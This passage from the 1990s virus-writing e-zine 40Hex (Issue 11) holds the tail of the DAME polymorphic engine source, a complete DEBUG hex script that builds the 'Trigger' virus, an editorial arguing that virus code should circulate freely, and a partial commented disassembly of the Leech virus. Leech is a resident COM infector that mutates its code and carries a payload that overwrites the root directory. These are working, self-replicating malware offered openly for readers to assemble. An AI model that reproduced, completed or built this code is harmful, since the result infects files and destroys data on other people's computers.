db xchg_reg_reg_table_end - $ - 3
|
||
dw offset _xchg_reg_reg
|
||
dw offset _xchg_reg_reg
|
||
dw offset _xchg_reg_reg_push_pop
|
||
dw offset _xchg_reg_reg_3rd_reg
|
||
xchg_reg_reg_table_end:
|
||
|
||
xor_reg_xxxx_table:
|
||
db xor_reg_xxxx_table_end - $ - 3
|
||
dw offset _xor_reg_xxxx
|
||
dw offset _xor_reg_xxxx
|
||
dw offset _xor_reg_xxxx_reg_reg
|
||
dw offset xor_reg_xxxx_xor_xor
|
||
xor_reg_xxxx_table_end:
|
||
|
||
xor_reg_reg_table:
|
||
db xor_reg_reg_table_end - $ - 3
|
||
dw offset _xor_reg_reg
|
||
dw offset xor_reg_reg_reg_reg
|
||
xor_reg_reg_table_end:
|
||
|
||
add_reg_reg_table:
|
||
db add_reg_reg_table_end - $ - 3
|
||
dw offset _add_reg_reg
|
||
dw offset add_reg_reg_reg_reg
|
||
add_reg_reg_table_end:
|
||
|
||
sub_reg_reg_table:
|
||
db sub_reg_reg_table_end - $ - 3
|
||
dw offset _sub_reg_reg
|
||
dw offset sub_reg_reg_reg_reg
|
||
sub_reg_reg_table_end:
|
||
|
||
add_reg_xxxx_table:
|
||
db add_reg_xxxx_table_end - $ - 3
|
||
dw offset _add_reg_xxxx
|
||
dw offset _add_reg_xxxx
|
||
dw offset _add_reg_xxxx_reg_reg
|
||
dw offset sub_reg_xxxx1
|
||
dw offset _add_reg_xxxx_inc_add
|
||
dw offset _add_reg_xxxx_dec_add
|
||
dw offset _add_reg_xxxx_add_add
|
||
dw offset _add_reg_xxxx_add_add
|
||
|
||
add_reg_xxxx_table_end:
|
||
|
||
endif
|
||
|
||
if vars eq 0
|
||
else
|
||
|
||
_nest db ? ; needed to prevent infinite recursion
|
||
_relocate_amt db ?
|
||
|
||
_loopstartencrypt dw ?
|
||
_loopstartdecrypt dw ?
|
||
|
||
_encryptpointer dw ?
|
||
_decryptpointer dw ?
|
||
|
||
_decryptpointer2 dw ?
|
||
|
||
_start_encrypt dw ?
|
||
_start_decrypt dw ?
|
||
|
||
_used_regs db 8 dup (?) ; 0 = unused
|
||
beginclear1:
|
||
_encrypt_relocate_num dw ?
|
||
_encrypt_relocator dw 8 dup (?)
|
||
|
||
_decrypt_relocate_num dw ?
|
||
_decrypt_relocator dw 10 dup (?)
|
||
endclear1:
|
||
_encrypt_length dw ? ; based upon alignment
|
||
|
||
_counter_value dw ? ; _counter_reg
|
||
_pointer_value dw ?
|
||
_decrypt_value dw ?
|
||
|
||
_dummy_reg db ?
|
||
_counter_reg db ?
|
||
_pointer_reg db ? ; 4 = not in use
|
||
_encrypt_reg db ?
|
||
|
||
endif
|
||
-end dame.asm-------begin trigger.scr------------------------------------------
|
||
n trigger.com
|
||
e 0100 E8 6E 00 00 54 72 69 67 67 65 72 20 62 79 20 44
|
||
e 0110 61 72 6B 20 41 6E 67 65 6C 20 6F 66 20 50 68 61
|
||
e 0120 6C 63 6F 6E 2F 53 6B 69 73 6D 0D 0A 55 74 69 6C
|
||
e 0130 69 73 69 6E 67 20 44 61 72 6B 20 41 6E 67 65 6C
|
||
e 0140 27 73 20 4D 75 6C 74 69 70 6C 65 20 45 6E 63 72
|
||
e 0150 79 70 74 6F 72 20 28 44 41 4D 45 29 0D 0A 0D 0A
|
||
e 0160 00 72 FA 0E 1F BA 00 B8 B8 40 00 8E C0 26 81 3E
|
||
e 0170 63 FC 5D B8 F0 0C BB 41 44 CD 21 81 FB 48 47 75
|
||
e 0180 3C 1E 06 0E 1F 33 C0 8D 76 5E 8E C0 33 FF B9 08
|
||
e 0190 00 F3 A7 74 08 40 3D 00 A0 72 EC EB 1C 89 86 AE
|
||
e 01A0 00 8E D8 C6 06 73 00 CB 55 BD 80 FF EB 00 9A 01
|
||
e 01B0 00 00 00 5D C6 06 73 00 1F 07 1F EB 7F B8 90 4B
|
||
e 01C0 CD 21 3B C3 74 76 1E 06 8C D8 48 8E D8 81 2E 03
|
||
e 01D0 00 80 01 81 2E 12 00 80 01 8E 06 12 00 0E 1F 33
|
||
e 01E0 FF 8D 76 FD B9 D1 04 F3 A5 33 C0 8E D8 83 2E 13
|
||
e 01F0 04 06 BF 1F 02 BE 84 00 A5 A5 FA 9C 9C 58 80 CC
|
||
e 0200 01 50 8C 06 06 00 C7 06 04 00 7F 01 9D B4 30 9C
|
||
e 0210 FF 1E 84 00 9D 26 C5 36 1F 02 8B FE AD 26 A3 F0
|
||
e 0220 01 AD 26 A3 F5 01 AC 26 A2 FA 01 1E 06 1F 07 B0
|
||
e 0230 EA AA B8 E2 01 AB 8C D8 AB FB 07 1F 83 FC FE 75
|
||
e 0240 0B 8D B6 64 01 BF 00 01 57 A5 A5 C3 8C D8 05 10
|
||
e 0250 00 2E 01 86 7A 01 2E 03 86 72 01 8E D0 2E 8B A6
|
||
e 0260 74 01 2E FF AE 78 01 CD 20 00 00 00 00 00 00 00
|
||
e 0270 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55
|
||
e 0280 8B EC 50 8B 46 04 2E 3B 06 21 02 73 0B 2E A3 21
|
||
e 0290 02 8B 46 02 2E A3 1F 02 58 5D CF 55 8B EC 50 8C
|
||
e 02A0 C8 3B 46 04 74 F2 8B 46 04 2E 3B 06 21 02 75 14
|
||
e 02B0 8B 46 02 2E 3B 06 1F 02 72 0A 2D 05 00 2E 3B 06
|
||
e 02C0 1F 02 76 D4 06 57 FC 2E C4 3E 1F 02 B0 EA AA B8
|
||
e 02D0 E2 01 AB 8C C8 AB 5F 07 81 66 06 FF FE EB B9 8B
|
||
e 02E0 D8 CF 3D 90 4B 74 F8 1E 57 2E C5 3E 1F 02 C7 05
|
||
e 02F0 34 12 C7 45 02 34 12 C6 45 04 12 5F 1F FC 3D 00
|
||
e 0300 4B 74 48 1E 50 33 C0 8E D8 FA C7 06 04 00 9B 01
|
||
e 0310 8C 0E 06 00 FB 9C 58 80 CC 01 50 9D 58 1F EA 00
|
||
e 0320 00 00 00 9C 2E FF 1E 1F 02 C3 5A 59 B8 01 57 E8
|
||
e 0330 F1 FF B4 3E E8 EC FF B8 01 43 5A 1F 59 E8 E3 FF
|
||
e 0340 07 1F 5F 5E 5D 5B 5A 59 58 EB B8 50 51 52 53 55
|
||
e 0350 56 57 1E 06 B8 00 43 E8 C9 FF 51 1E 52 B8 01 43
|
||
e 0360 33 C9 E8 BE FF B8 02 3D E8 B8 FF 72 CA 93 B8 00
|
||
e 0370 57 CD 21 51 52 B4 3F B9 18 00 0E 1F 0E 07 BA 67
|
||
e 0380 01 8B F2 E8 9D FF 72 A2 BF F9 09 B9 0C 00 56 57
|
||
e 0390 F3 A5 5F 5E B8 02 42 33 C9 99 CD 21 81 3D 4D 5A
|
||
e 03A0 75 2E 81 3E 77 01 53 50 74 80 A3 FD 09 89 16 FB
|
||
e 03B0 09 B9 10 00 F7 F1 2B 06 01 0A 89 16 0D 0A A3 0F
|
||
e 03C0 0A 87 CA A3 07 0A C7 06 09 0A 53 50 B0 02 EB 34
|
||
e 03D0 50 B9 04 00 33 D2 AC 02 D0 E2 FB 58 0A D2 74 C8
|
||
e 03E0 BA 18 00 3B C2 73 07 B8 00 42 33 C9 CD 21 8B C8
|
||
e 03F0 FE C5 2D 03 00 50 B0 E9 AA 58 AB 02 C4 04 E9 F6
|
||
e 0400 D8 AA B0 03 98 53 87 CB 33 F6 BF 11 0C B9 D1 04
|
||
e 0410 F3 A5 50 E8 67 00 58 BA 11 0C B9 A1 09 BE 91 0A
|
||
e 0420 BF 11 0A E8 A2 00 51 81 3E F9 09 4D 5A 75 21 8B
|
||
e 0430 16 FB 09 A1 FD 09 81 C1 A1 09 03 C1 83 D2 00 B9
|
||
e 0440 00 02 F7 F1 0B D2 74 01 40 A3 FD 09 89 16 FB 09
|
||
e 0450 FF D7 59 5B B4 40 BA 91 0A E8 C7 FE B4 40 B9 A1
|
||
e 0460 09 BA 11 0C E8 BC FE B8 00 42 33 C9 99 CD 21 B4
|
||
e 0470 40 B9 18 00 BA F9 09 E8 A9 FE E9 AD FE 52 51 53
|
||
e 0480 B4 2C CD 21 E4 40 8A E0 E4 40 33 C1 33 D0 EB 1C
|
||
e 0490 52 51 53 E4 40 05 00 00 BA 00 00 B9 07 00 D1 E0
|
||
e 04A0 D1 D2 8A D8 32 DE 79 02 FE C0 E2 F2 A3 96 03 89
|
||
e 04B0 16 99 03 8A C2 5B 59 5A C3 87 00 86 84 85 03 07
|
||
e 04C0 0F 1F 5F 5E 5A 59 5B 58 FC 50 53 51 52 56 57 E8
|
||
e 04D0 07 00 5F 5E 5A 5B 5B 58 C3 FC 50 B8 A7 09 97 AB
|
||
e 04E0 96 AB AB 92 AB 93 AB 87 CA E8 44 02 B9 1A 00 F3
|
||
e 04F0 AB E8 9C FF 25 FC FF 59 33 C8 E8 75 02 83 E3 03
|
||
e 0500 8A 87 BE 03 98 03 D0 F7 D0 23 D0 8B C2 AB D1 E8
|
||
e 0510 F6 C5 40 74 02 D1 E8 F6 C5 10 75 02 F7 D8 AB 92
|
||
e 0520 F6 C5 20 75 02 F7 D8 AB E8 65 FF AB B8 84 84 AA
|
||
e 0530 57 AB AA 5F E8 33 02 78 0B E8 00 02 AA E8 50 FF
|
||
e 0540 A3 F1 09 4F 47 EB 03 E8 07 02 E8 EF 01 3C 03 72
|
||
e 0550 F6 AA E8 15 02 78 04 E8 E2 01 AA E8 D2 01 8B 3E
|
||
e 0560 A9 09 E8 16 02 BE F5 09 56 E8 06 02 83 E3 03 8A
|
||
e 0570 00 98 A8 80 75 F3 80 8F F5 09 80 8B F0 FE 84 B1
|
||
e 0580 09 03 DB 8B 97 ED 09 C6 06 A1 09 00 E8 6F 02 E8
|
||
e 0590 E9 01 E8 06 01 51 80 E1 FC E8 AC 02 59 89 3E A7
|
||
e 05A0 09 5E BA 04 00 AC A8 80 74 B4 4A 75 F8 BE A7 09
|
||
e 05B0 BF A3 09 A5 A5 C6 06 A2 09 00 E8 65 00 F6 C5 40
|
||
e 05C0 74 08 C6 06 A2 09 02 E8 58 00 BB A3 09 51 80 E1
|
||
e 05D0 FC E8 58 00 59 B8 FC C3 AB BE BB 09 8B 3E AD 09
|
||
e 05E0 51 E8 19 00 59 BB A5 09 E8 41 00 E8 8A 01 89 3E
|
||
e 05F0 A9 09 BE CD 09 2B 3E AB 09 03 3E AF 09 F6 C5 20
|
||
e 0600 74 04 03 3E ED 09 2B 3E F1 09 8B 4C FE E3 08 97
|
||
e 0610 97 AD 97 01 05 E2 F9 8B 3E A9 09 8B CF 2B 0E AB
|
||
e 0620 09 C3 E8 84 00 E8 DA 00 E8 7E 00 C3 8B 7F 04 53
|
||
e 0630 C6 06 A1 09 00 A0 F7 09 25 07 00 BA 02 00 F6 C5
|
||
e 0640 40 74 02 D1 E2 F6 C5 20 74 02 F7 DA E8 F9 02 B2
|
||
e 0650 75 A0 F6 09 25 07 00 3C 04 74 26 52 BA 01 00 F6
|
||
e 0660 C5 10 74 19 3C 01 75 13 E8 FF 00 78 0E 5A E8 01
|
||
e 0670 01 87 DA 80 E2 02 80 CA E0 EB 06 F7 DA E8 C8 02
|
||
e 0680 5A 5B 8B 07 2B C7 48 48 86 E0 8A C2 F6 C4 80 75
|
||
e 0690 05 58 58 E9 2C FE AB 89 7F 04 C3 C6 06 A1 09 0A
|
||
e 06A0 89 3E A9 09 8B 3E A7 09 C3 8B 3E A9 09 E8 CB 00
|
||
e 06B0 A0 F8 09 25 07 00 3C 04 74 E1 E8 B5 00 80 FB C0
|
||
e 06C0 77 D9 E8 13 00 E8 DB 00 E8 D0 FF 51 80 E1 FC FF
|
||
e 06D0 50 01 59 89 3E A7 09 C3 C6 06 A1 09 00 E8 8A 00
|
||
e 06E0 78 08 E8 8D 00 BE 07 09 EB 15 E8 85 00 83 E3 07
|
||
e 06F0 80 FB 04 74 F5 80 BF B1 09 00 74 EE BE 3A 09 87
|
||
e 0700 D3 C3 8B 3E A9 09 E8 72 00 A0 F7 09 25 07 00 BB
|
||
e 0710 B6 03 D7 BD CB 09 E8 BF FF E8 0B 00 E8 84 00 BD
|
||
e 0720 B9 09 E8 02 00 EB A1 50 AC 98 03 F0 58 46 46 C3
|
||
e 0730 33 C0 BF B1 09 AB AB 40 AB 48 AB C3 E8 51 FD 25
|
||
e 0740 07 00 8B F0 80 BC B1 09 00 75 F1 FE 84 B1 09 C3
|
||
e 0750 92 8B F0 C6 84 B1 09 00 C3 50 51 57 BF B1 09 B9
|
||
e 0760 08 00 33 C0 F2 AE 5F 59 58 C3 50 E8 22 FD 0B C0
|
||
e 0770 58 C3 93 E8 1A FD 93 C3 E8 00 00 C6 06 A1 09 00
|
||
e 0780 E8 00 00 E8 D3 FF 75 EF F6 C1 02 74 EA 50 52 E8
|
||
e 0790 FE FC 92 E8 A6 FF E8 B8 FF BE EE 08 EB 07 56 E8
|
||
e 07A0 E1 FF 5E 50 52 56 51 91 AC 98 91 E8 C4 FF 23 D9
|
||
e 07B0 59 FE 06 A1 09 80 3E A1 09 0A 72 02 33 DB 53 FF
|
||
e 07C0 10 5B 5E 5A 58 C3 BE 3A 09 83 E2 07 EB D5 BE 07
|
||
e 07D0 09 EB D0 92 24 07 BB FF 08 D7 AA C3 92 25 0F 00
|
||
e 07E0 0C 70 AB C3 0A C0 78 04 04 50 AA C3 05 30 FF EB
|
||
e 07F0 0A 0A C0 78 04 04 58 AA C3 B4 8F E9 F0 00 BE 55
|
||
e 0800 09 EB 9B E8 6C FF 53 2B D3 E8 F2 FF 5A EB 23 3C
|
||
e 0810 04 73 35 50 52 E8 38 00 5A 58 86 F2 EB 30 E8 51
|
||
e 0820 FF 53 33 D3 E8 D7 FF 5A E9 96 00 52 8B D0 E8 9B
|
||
e 0830 00 5A E9 13 01 D1 CA E8 C4 FF EB 07 D1 C2 E8 BD
|
||
e 0840 FF 0C 08 B4 D1 E9 A6 00 04 B8 AA 92 AB C3 04 04
|
||
e 0850 04 B0 8A E2 AB C3 BE 66 09 EB A6 50 92 E8 84 FF
|
||
e 0860 58 EB 8E B4 8B EB 6D E8 00 FF 78 EA BE 6F 09 E9
|
||
e 0870 2C FF 52 50 52 E8 6C FF 58 E8 68 FF 58 E8 71 FF
|
||
e 0880 58 E9 6D FF E8 D2 FE 75 14 52 50 E8 AE FE E8 D6
|
||
e 0890 FF 5A E8 D7 FF 5A 92 E8 CD FF E9 B3 FE 0A C0 78
|
||
e 08A0 0A 3A C2 7F 02 86 C2 0A D2 74 06 86 C2 B4 87 EB
|
||
e 08B0 35 04 90 AA C3 E8 BA FE 53 33 D3 E8 03 00 5A EB
|
||
e 08C0 00 BE 78 09 E9 D7 FE 0C 30 E9 8B 00 BE 81 09 E9
|
||
e 08D0 CC FE B4 33 0A C0 78 09 0A D2 78 0A E8 8B FE 78
|
||
e 08E0 05 86 C2 80 EC 02 D0 E0 D0 E0 D0 E0 0A C2 0A C0
|
||
e 08F0 78 02 0C C0 86 E0 F6 C4 40 75 1D F6 C1 01 75 05
|
||
e 0900 50 B0 2E AA 58 AB 2E 8B 76 00 03 F6 2E 89 7A 02
|
||
e 0910 2E FF 46 00 A0 A2 09 98 AB C3 BE 86 09 E9 7E FE
|
||
e 0920 B4 03 EB B0 BE 8B 09 E9 74 FE B4 2B EB A6 E8 50
|
||
e 0930 00 4A EB 14 E8 45 00 42 EB 0E E8 35 FE 53 2B D3
|
||
e 0940 E8 05 00 5A EB 02 F7 DA 0B D2 75 01 C3 BE 90 09
|
||
e 0950 E9 4B FE 0A C0 74 0E 0A C0 78 02 04 C0 B4 81 E8
|
||
e 0960 8C FF 92 AB C3 B0 05 AA EB F8 F7 DA 0B D2 74 DC
|
||
e 0970 0A C0 74 04 04 28 EB DF B0 2D EB EB 50 04 08 EB
|
||
e 0980 01 50 0A C0 79 07 B4 FF E8 63 FF 58 C3 04 40 AA
|
||
e 0990 58 C3 BB 56 07 BE 67 07 EB 0F BB D2 07 EB 08 BB
|
||
e 09A0 20 08 EB 03 BB 2A 08 8B F3 E8 AD FD 75 2E 50 56
|
||
e 09B0 E8 89 FD E8 A0 FE 5E 5A 92 52 FF D6 5A E9 90 FD
|
||
e 09C0 BB C1 07 BE CC 07 E8 90 FD 75 11 50 56 E8 6C FD
|
||
e 09D0 E8 2B FE 92 5E 58 52 FF D6 5A EB E1 FF E3 BB 48
|
||
e 09E0 08 BE 1A 08 EB E0 BB FE 06 BE 67 07 EB D8 0E 77
|
||
e 09F0 06 77 06 C6 06 C6 06 CE 06 CE 06 D3 06 DC 06 F8
|
||
e 0A00 F5 F9 FC FD FB CC F0 0E C1 07 FE 06 6C 08 48 08
|
||
e 0A10 7C 08 81 08 41 07 43 07 0E C1 07 6C 08 48 08 48
|
||
e 0A20 08 7C 08 81 08 41 07 43 07 0E C1 07 48 08 6C 08
|
||
e 0A30 6C 08 81 08 7C 08 43 07 41 07 06 CC 07 56 07 24
|
||
e 0A40 08 1A 08 06 CC 07 CC 07 24 08 1A 08 06 CC 07 CC
|
||
e 0A50 07 1A 08 24 08 0E 48 07 E6 08 03 07 0F 07 1E 07
|
||
e 0A60 2B 07 35 07 3C 07 06 63 07 63 07 92 08 5B 07 06
|
||
e 0A70 9D 07 9D 07 72 07 84 07 06 C7 07 C7 07 C0 08 B5
|
||
e 0A80 07 02 D2 07 9A 08 02 20 08 9F 08 02 2A 08 A4 08
|
||
e 0A90 0E 53 08 53 08 DE 08 6A 08 2E 08 34 08 3A 08 3A
|
||
e 0AA0 08
|
||
rcx
|
||
09A1
|
||
w
|
||
q
|
||
-end trigger.scr---------------------------------------------------------------
|
||
|
||
40Hex Issue 11 Volume 3 Number 2 File 004
|
||
|
||
40-Hex Editorial
|
||
|
||
Virus Censorship
|
||
by DecimatoR
|
||
|
||
Recently in the comp.virus echo of Usenet there was a discussion
|
||
entitled "40 Hex Censorship". A few people were complaining about this
|
||
magazine being censored by the anti-virus community, and on Internet
|
||
itself. I found this thread interesting, and figured I'd voice my opinions
|
||
on it here, where it counts.
|
||
|
||
As many of you know, 40-Hex is one of the most popular underground mags.
|
||
I was actually told by a European Anti-Virus researcher that 40-Hex was
|
||
regarded as the best VX magazine in existance by most of the anti-virus
|
||
community. Of course, I was quite happy to hear this. (Who wouldn't be?)
|
||
But I also couldn't help wondering, how could a magazine like 40-Hex, with no
|
||
real distribution system, be the most popular? It got me thinking, and I
|
||
realized that we provide, in great detail, some of the most recent news, and
|
||
developments in the virus community. Anyone can publish source code and
|
||
hex dumps, but we take it a bit further. 40-Hex is more than just a how-to
|
||
magazine, it's a publication which delves into details, world wide
|
||
developments, and never-before distributed source code with new and
|
||
interesting programming techniques. It's more than a source of viruses; it's
|
||
a source of _information_.
|
||
|
||
This also got me thinking, about the actual distribution system of
|
||
40-Hex. Each issue is distributed on two, and ONLY two bulletin boards -
|
||
Digital Warfare and Liquid Euphoria. From there, it is passed rapidly across
|
||
the country, and, soon after, around the world. Unfortunately, 40-Hex never
|
||
seems to make it to a LARGE portion of the population who want it - the folks
|
||
who hang out on in the comp.virus echo of Usenet. A few issues back, I
|
||
posted a note there, asking for input on a survey I was conducting. Over
|
||
half of the replies I received didn't even answer my questions - all the
|
||
folks wanted to know was WHERE could they get their hands on 40-Hex? After a
|
||
little digging, I found 2 sites which allowed 40-Hex to be posted for
|
||
anonymous FTP. Within a month, both sites had removed the magazine.
|
||
Censorship? You bet. See, the anti-virus folks on Usenet feel that this
|
||
magazine is BAD. After all, we publish source code which any virus author
|
||
can learn by. We encourage people to learn new programming techniques. We
|
||
tell the truth about how viruses work, and we're not afraid to give people
|
||
code which shows HOW viruses do what they do, so that anyone who wishes to
|
||
write a virus has the KNOWLEDGE to do so.
|
||
|
||
But does this make us bad? Let's look at it again, in a slightly
|
||
different perspective:
|
||
|
||
We publish source code which any anti-virus author can learn by. We encourage
|
||
people to learn new programming techniques. We tell the truth about how
|
||
viruses work, and we're not afraid to give people code which shows HOW viruses
|
||
do what they do, so that anyone who wishes to write anti-virus software has the
|
||
KNOWLEDGE to do so.
|
||
|
||
Hmmm... now do we seem so bad? With the addition of a few "anti"s in that
|
||
last paragraph, we turned 40-Hex around - from a bad underground magazine to
|
||
a beneficial wealth of information. Interesting, eh?
|
||
|
||
This seems to be where the Vesselin Bontchev's of the world have a serious
|
||
problem seeing the forest, because of the trees. Bontchev has often
|
||
proclaimed, quite loudly, and in no uncertain terms, that virus code should
|
||
NEVER, NEVER, NEVER, UNDER _ANY_ CIRCUMSTANCES, BE DISTRIBUTED TO ANYONE!
|
||
Anyone, that is, except an anti-virus researcher like himself.
|
||
Double standard? Yes.
|
||
|
||
A typical scenario on the newsgroup reads like this:
|
||
|
||
Joe Unknown: Hi, I'm interested in writing an anti-virus package, and need
|
||
to obtain viruses which I can experiment and work with. Where
|
||
can I find them?
|
||
|
||
Joe Established-AV-Person: You can't. I don't know you, and no one else does
|
||
either. Therefore, you cannot be trusted, and you
|
||
may not recieve virus code. You should be ashamed
|
||
for asking! You probably just want to learn to
|
||
write viruses so you can wreak havoc on all
|
||
computers everywhere! Hmmmph!
|
||
|
||
Yes, folks, it IS this bad. The anti-virus guys talk of "ethical
|
||
standards" which say that they just can't give out virus code, except to
|
||
other established AV people. Ethical standards? DOUBLE STANDARDS!!! What
|
||
would happen, if they DID give their viruses to "unknown" people who wanted
|
||
them? Would massive virus infections result? Maybe. Would new anti-virus
|
||
software packages be created? Probably. But will the AV guys give anyone a
|
||
chance? Hardly.
|
||
|
||
It's this attitude which upsets a lot of people. And one of them was
|
||
upset enough to finally ask WHY 40-Hex was so censored on the net. Of course,
|
||
he got the "ethical standard" reply. But the true fact is - people WANT this
|
||
(and any other) fine VX magazine! The Nuke Infojournals, ARCV newsletters,
|
||
the Crypt newsletters... I've had people ask me time and time again WHERE
|
||
they can find them on the Internet. And I've told them, time and time again,
|
||
"You can't. Sorry."
|
||
|
||
Most of you who read this mag are involved in either of 3 groups:
|
||
The Virus underground, System Security, or Anti-Virus research. Where did
|
||
YOU obtain your copy of 40-Hex? A BBS? A friend? A disk you found lying in
|
||
the computer room? Probably a BBS. Certainly not Internet. The poor folks
|
||
on Internet are missing out on a LOT of good information, all because a
|
||
handful of self-appointed experts decided that CENSORSHIP was better than
|
||
KNOWLEDGE. Of course, if I were to post this fact in comp.virus, my message
|
||
would never get out. Why? Because the group is moderated by an individual
|
||
who ranks right up there with the rest of the Censors. Any message even
|
||
vaguely requesting a source for viruses is killed before it gets out. And
|
||
certainly, any post containing source code, or a way to obtain viruses is
|
||
nuked before it's ever seen by anyone. THE COMP.VIRUS ECHO IS ONE OF THE
|
||
MOST HEAVILY CENSORED NEWSGROUPS ON USENET! Does this bother you? It
|
||
certainly bothers me! INFORMATION IS POWER, FOLKS! Stupidity is NOT!
|
||
|
||
Recently I had a long conversation with Alan Solomon, head of S & S
|
||
International, publisher of Dr. Solomon's Anti-Virus Toolkit. It was a
|
||
pleasant conversation, and Dr. Solly is a very nice person to talk to.
|
||
Although we obviously don't see eye-to-eye on certain topics, we came to a
|
||
general understanding - he does anti-virus work to help other people and to
|
||
make a living. I run a virus board to pass on information and to fight
|
||
censorship. I respect him for his ideals, and I believe he respects me
|
||
for mine. Of course, he doesn't approve of what I do, but he respects my
|
||
reasons for doing it. Was an interesting conversation, I'm glad we had it.
|
||
Thanks, Alan - for everything.
|
||
|
||
Censorship of viruses, virus code, and virus mags is quite strong. Those
|
||
in the underground often don't realize how censored this material really is,
|
||
or how lucky they are to be able to obtain it with a phone call. It really
|
||
bugs me to think that people out there WANT the information contained inside
|
||
this very issue, but are unable to get it because of the closed minds of a
|
||
handful of "experts".
|
||
|
||
Wake up people! This is the 90's! This is the INFORMATION AGE!
|
||
Censorship doesn't HELP! It HARMS! Keeping people ignorant doesn't help
|
||
them, it HURTS them! Knowledge is power! FREE INFORMATION IS WHAT CYBERSPACE
|
||
IS BASED ON! Anything else is simply _wrong_.
|
||
|
||
--Dec
|
||
|
||
40Hex Issue 11 Volume 3 Number 2 File 005
|
||
|
||
Virus Spotlight on: Leech
|
||
|
||
This month's virus is a Bulgarian creation known as Leech. It is mildly
|
||
polymorphic, implementing a simple code swapping algorithm. It infects on
|
||
file executes and file closes. The infections upon file closes is especially
|
||
noteworthy; look closely at the manipulation of the system file table (and see
|
||
the related article in this issue of 40Hex for more details). This resident,
|
||
COM-specific infector also hides file length increases, although the stupid
|
||
CHKDSK error will occur.
|
||
|
||
-- Dark Angel
|
||
Phalcon/Skism
|
||
-------------------------------------------------------------------------------
|
||
.model tiny
|
||
.code
|
||
org 0
|
||
; Leech virus
|
||
; Disassembly by Dark Angel of Phalcon/Skism
|
||
; Assemble with Tasm /m Leech.asm
|
||
|
||
virlength = (readbuffer - leech)
|
||
reslength = (((encrypted_file - leech + 15) / 16) + 2)
|
||
|
||
leech:
|
||
jmp short enter_leech
|
||
|
||
filesize dw offset carrier
|
||
oldint21 dw 0, 0
|
||
oldint13 dw 0, 0
|
||
oldint24 dw 0, 0
|
||
datestore dw 0
|
||
timestore dw 0
|
||
runningflag db 1
|
||
evenodd dw 0
|
||
|
||
enter_leech:
|
||
call next
|
||
next:
|
||
pop si
|
||
mutatearea1:
|
||
cli
|
||
push ds ; Why?
|
||
pop es
|
||
mov bp,sp ; save sp
|
||
mov sp,si ; sp = offset next
|
||
add sp,encrypt_value1 - 1 - next
|
||
mutatearea2:
|
||
mov cx,ss ; save ss
|
||
mov ax,cs
|
||
mov ss,ax ; ss = PSP
|
||
pop bx ; get encryption value
|
||
dec sp
|
||
dec sp
|
||
add si,startencrypt - next
|
||
nop
|
||
decrypt:
|
||
mutatearea3:
|
||
pop ax
|
||
xor al,bh ; decrypt away!
|
||
push ax
|
||
dec sp
|
||
cmp sp,si
|
||
jae decrypt
|
||
startencrypt:
|
||
mov ax,es
|
||
dec ax
|
||
mov ds,ax ; ds->MCB
|
||
db 81h,6,3,0 ;add word ptr ds:[3],-reslength
|
||
dw 0 - reslength
|
||
mov bx,ds:[3] ; bx = memory size
|
||
mov byte ptr ds:[0],'Z' ; mark end of chain
|
||
inc ax ; ax->PSP
|
||
inc bx
|
||
add bx,ax ; bx->high area
|
||
mov es,bx ; as does es
|
||
mov ss,cx ; restore ss
|
||
add si,leech - startencrypt
|
||
mov bx,ds ; save MCB segment
|
||
mov ds,ax
|
||
mov sp,bp ; restore sp
|
||
push si
|
||
xor di,di
|
||
mov cx,virlength ; 1024 bytes
|
||
cld
|
||
rep movsb
|
||
pop si
|
||
push bx
|
||
mov bx,offset highentry
|
||
push es
|
||
push bx
|
||
retf ; jmp to highentry in
|
||
; high memory
|
||
highentry:
|
||
mov es,ax ; es->PSP
|
||
mov ax,cs:filesize
|
||
add ax,100h ; find stored area
|
||
mov di,si
|
||
mov si,ax
|
||
mov cx,virlength
|
||
rep movsb ; and restore over virus code
|
||
pop es ; MCB
|
||
xor ax,ax
|
||
mov ds,ax ; ds->interrupt table
|
||
sti
|
||
cmp word ptr ds:21h*4,offset int21 ; already resident?
|
||
jne go_resident
|
||
db 26h,81h,2eh,3,0 ;sub word ptr es:[3],-reslength
|
||
dw 0 - reslength ; alter memory size
|
||
test byte ptr ds:[46Ch],0E7h ; 1.17% chance of activation
|
||
jnz exit_virus
|
||
push cs
|
||
pop ds
|
||
mov si,offset message
|
||
display_loop: ; display ASCIIZ string
|
||
lodsb ; get next character
|
||
or al,0 ; exit if 0
|
||
jz exit_display_loop
|
||
mov ah,0Eh ; otherwise write character
|
||
int 10h
|
||
|
||
jmp short display_loop
|
||
exit_display_loop:
|
||
mov ah,32h ; Get DPB -> DS:BX
|
||
xor dl,dl
|
||
int 21h
|
||
jc exit_virus ; exit on error
|
||
|
||
call getint13and24
|
||
call setint13and24
|
||
mov dx,[bx+10h] ; first sector of root
|
||
; directory
|
||
; BUG: won't work in DOS 4+
|
||
mov ah,19h ; default drive -> al
|
||
int 21h
|
||
|
||
mov cx,2 ; overwrite root directory
|
||
int 26h
|
||
|
||
pop bx
|
||
call setint13and24 ; restore int handlers
|
||
exit_virus:
|
||
jmp returnCOM
|
||
go_resident:
|
||
db 26h, 81h, 6, 12h, 0 ;add word ptr es:12h,-reslength
|
||
dw 0 - reslength ; alter top of memory in PSP
|
||
mov bx,ds:46Ch ; BX = random #
|
||
push ds
|
||
push cs
|
||
pop ds
|
||
push cs
|
||
pop es
|
||
mov runningflag,1 ; reset flag
|
||
and bh,80h
|
||
mov nothing1,bh
|
||
mutate1:
|
||
test bl,1
|
||
jnz mutate2
|
||
mov si,offset mutatearea1
|
||
add si,evenodd
|
||
lodsb
|
||
xchg al,[si] ; swap instructions
|
||
mov [si-1],al
|
||
mutate2:
|
||
test bl,2
|
||
jnz mutate3
|
||
mov si,offset mutatearea2
|
||
add si,evenodd
|
||
lodsw
|
||
xchg ax,[si] ; swap instructions
|
||
mov [si-2],ax
|
||
mutate3:
|
||
test bl,4
|
||
jnz mutate4
|
||
mov si,offset mutatearea3
|
||
mov al,2
|
||
xor [si],al ; flip between ax & dx
|
||
xor [si+2],al
|
||
xor [si+3],al
|
||
mutate4:
|
||
test bl,8
|
||
jnz findint21
|
||
mov si,offset next
|
||
mov di,offset readbuffer
|
||
mov cx,offset enter_leech
|
||
push si
|
||
push di
|
||
lodsb
|
||
cmp al,5Eh ; 1 byte pop si?
|
||
je now_single_byte_encode
|
||
inc si ; skip second byte of two
|
||
; byte encoding of pop si
|
||
now_single_byte_encode:
|
||
push cx
|
||
rep movsb
|
||
pop cx
|
||
pop si
|
||
pop di
|
||
cmp al,5Eh ; 1 byte pop si?
|
||
je encode_two_bytes ; then change to 2
|
||
mov al,5Eh ; encode a pop si
|
||
stosb
|
||
rep movsb ; then copy decrypt over
|
||
